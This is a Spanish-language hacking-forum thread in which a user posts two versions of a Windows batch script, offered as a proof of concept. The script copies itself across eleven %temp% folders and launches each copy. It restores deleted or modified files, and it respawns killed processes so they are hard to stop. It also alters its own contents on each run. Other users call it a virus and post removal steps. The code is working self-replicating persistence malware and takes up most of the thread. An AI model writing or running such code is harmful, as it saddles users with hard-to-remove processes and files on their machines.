Script que crea una estructura que se autoregenera

Iniciado por LauBuru, Febrero 12, 2015, 05:56:53 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Saludos, hace mucho tiempo que no paso por aqui, que tal estais, bueno e codeado un script que a mi parecer es algo nuevo o por lo menos yo nunca lo vi, tuve la idea de hacer un script que creara una estructura de directorios con copias del script original dentro de los mismos, despues lanza tantos procesos como carpetas haya para acontinuacion entrar en un bucle de checado de la estructura donde si borras un archivo lo regenerara otra vez, si borrar un directorio con todos los archivos , los regenerara otra vez con el mismo orden , si matas un proceso, lo lanzara otra vez ( por eso lo de autogenerar ), ademas le añadi un componente semipolimorfico en cada ejecucion o copia que se haga del archivo / directorio dañado se añadira una etiqueta inocua al final de cada archivo con un numero aleatorio para asi no generar el mismo archivo exactamente


Os dejo el code para que lo probeis si quereis ( Es inocuo absolutamente solo una POC )


Código: dos
@echo off
echo. >> "%~f0"
echo :%random%%random%%random% >> "%~f0"
goto main

:main
   dir "%temp%" | find /i "persisteOK.txt" || call :create
   dir "%temp%" | find /i "persisteOK.txt" && call :find
goto main


:find
   for /l %%a in (0,1,10) do (dir "%temp%\d%%a" | find /i "persiste%%a%~x0" && call :check "%temp%\d%%a\persiste%%a%~x0" %%a persiste%%a || call :generate %%a)
goto :eof

:generate
   dir | find "<DIR>" | find "d%1" || call :create2 %1
   for /f "tokens=4" %%a in (' dir "%temp%\d%1"') do (pushd "%temp%\d%1" && call :copy %1)
   call :run "persiste%1%~x0" 
   popd
goto :eof

:check
   pushd %temp%\d%2
   tasklist /v | find /i "cmd" | find /i "%3" || call :run %1%2
goto :eof



:create
   pushd %temp%
   for /l %%a in (0,1,10) do ( md d%%a && call :copy %%a)
   echo OK > "%temp%\persisteOK.txt
goto :eof

:create2
   pushd %temp%
   md d%1 && copy  /y %~d0%~p0%~n0%~x0  %temp%\d%1\%~n0%~x0 && rename "%temp%\d%1\%~n0%~x0" "persiste%1%~x0" && call :run persiste%1%~x0 %1
   popd
goto :eof

:copy
   copy  /y %~d0%~p0%~n0%~x0  %temp%\d%1\%~n0%~x0 && rename "%temp%\d%1\%~n0%~x0" "persiste%1%~x0" && call :run persiste%1%~x0 %1
goto :eof


:run
   pushd %temp%\d%2 && start "" persiste%2%~x0 && popd
goto :eof




Espero os guste a mi personalmente (haunque este mal decirlo) me encanta  :P

 :o :o :o :o :o

has creado una máquina de destrucción indestructible xDDD

Buen trabajo LauBuru, voy a probarlo ahora mismo, me has dejado con la intriga y quiero comprobar si funciona matando el proceso xD

Saludos.



Despues de tu comentario me quede mosca con el tema del matado de procesos, e observado que no realiza su cometido y ahora tengo problemas para poder localizar y controlar los procesos, me podriais hechar un cable, como podri chequear los cmds que estan activos y detectar si falta uno para podel lanzar otro, e estado probando varios metodos usando taskkill y start pero al final el taskkill (como se ejecutan en paralelo) l acaba con todos los procesos antes de que se reinicien, el problema es que no encuentro una funcion que controle los procesos sin que lanze procesos hasta el infinito o los mate todos

tambien probe con "wmic process get commandLine" con eso e podido observar queno todos los cmd muestran el comando que los genera y eso representa un problema mas para localizarlos.

Bueno si alguien tiene una idea lo agradecere :)

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Despues de tu comentario me quede mosca con el tema del matado de procesos, e observado que no realiza su cometido y ahora tengo problemas para poder localizar y controlar los procesos, me podriais hechar un cable, como podri chequear los cmds que estan activos y detectar si falta uno para podel lanzar otro, e estado probando varios metodos usando taskkill y start pero al final el taskkill (como se ejecutan en paralelo) l acaba con todos los procesos antes de que se reinicien, el problema es que no encuentro una funcion que controle los procesos sin que lanze procesos hasta el infinito o los mate todos

tambien probe con "wmic process get commandLine" con eso e podido observar queno todos los cmd muestran el comando que los genera y eso representa un problema mas para localizarlos.

Bueno si alguien tiene una idea lo agradecere :)

Lo siento pero no tengo ni idea de este tipo de cosas (nunca me lo he planteado la verdad) y menos en Bash, es por eso que te dije que quería ver el código, sería interesante si alguien propone alguna idea.

saludos.



Febrero 16, 2015, 05:43:36 PM #4 Ultima modificación: Febrero 16, 2015, 05:57:59 PM por LauBuru
Script, finalizado  ;D ;D ;D , ya cumple con todos sus cometidos, enumero


1- Genera una estructura de 10 carpetas con 10 archivos

2- Si borras un archivo al poco tiempo se regenera en el mismo orden con el mismo nombre

3- Si modificas un archivo al poco tiempo se sobreescribira por encima quedando el archivo original denuevo

4- Si empiezas a matar procesos al llegar a un humbral el script (haciendo uso de un archivo de repaldo "persiste.bat" en "%temp%") lanzara nuevos procesos manteniendo un equilibrio constantemente, resultando bastante dificil matarlos todos

5- Porsupuesto si borras un directorio tambien lo regenerara


Aqui dejo el code para que opineis:


Código: dos
@echo off
echo. >> "%~f0"
echo :%random%%random%%random% >> "%~f0"
goto main

:main
   dir "%temp%" | find /i "persisteOK.txt" || call :create
   dir "%temp%" | find /i "persisteOK.txt" && call :find
goto main


:find
   dir "%temp%" | find /i "persiste.bat" || copy /y %~d0%~p0%~n0%~x0 %temp%\persiste.bat
   for /l %%a in (0,1,10) do (
   for /l %%b in (0,1,10) do ( dir "%temp%\d%%a" | find /i "persiste%%b%~x0" && call :check "%temp%\d%%a\persiste%%a%~x0" %%a persiste%%a || call :generate %%a))
goto :eof

:generate
   dir | find "<DIR>" | find "d%1" || call :create2 %1
   for /f "tokens=4" %%a in (' dir "%temp%\d%1"') do (pushd "%temp%\d%1" && call :copy %1)
   call :run "persiste%1%~x0" 
   popd
goto :eof

:check
   pushd %temp%\d%2
   fc /l %1 %~d0%~p0%~n0%~x0 || call :generate %2
   for /f "tokens=*" %%a in ('tasklist ^| find /c "cmd.exe"') do (call :run2 %%a)
   popd
goto :eof
 
:create
   pushd %temp%
   for /l %%a in (0,1,10) do ( md d%%a && call :copy %%a)
   echo OK > "%temp%\persisteOK.txt
goto :eof

:create2
   pushd %temp%
   md d%1 && copy  /y %~d0%~p0%~n0%~x0  %temp%\d%1\%~n0%~x0 && rename "%temp%\d%1\%~n0%~x0" "persiste%1%~x0" && call :run persiste%1%~x0 %1
   popd
goto :eof

:copy
   copy  /y %~d0%~p0%~n0%~x0  %temp%\d%1\%~n0%~x0 && rename "%temp%\d%1\%~n0%~x0" "persiste%1%~x0" && call :run persiste%1%~x0 %1
goto :eof


:run
   pushd %temp%\d%2 && start "" persiste%2%~x0 && popd
goto :eof

:run2
   pushd %temp%
   set p=%1
   if "%p%" LSS "15" ( start "" persiste%~x0)
   popd
goto :eof





Haber si os gusta  :P un saludo

forma de eliminar tu virus:

inicio->ejecutar->cmd

taskkill -im cmd.exe

luego vas a c:\users\NOMBRE\appdata\local\temp y borras del d0 al d10 o directamente borras todos los temporales.

easy.

saludos!

Febrero 17, 2015, 11:15:56 AM #6 Ultima modificación: Febrero 17, 2015, 05:33:34 PM por LauBuru
Esto no esta puesto en clave de reto y tampoco es un virus si fuera un virus ten por seguro que no seria tan facil matarlo es una POC de una estructura autoregenerable , tampoco quiero joder al usuario que quiera probarlo es solo para mostrar el concepto.


Espero se me entienda (De buen rollo)  ;D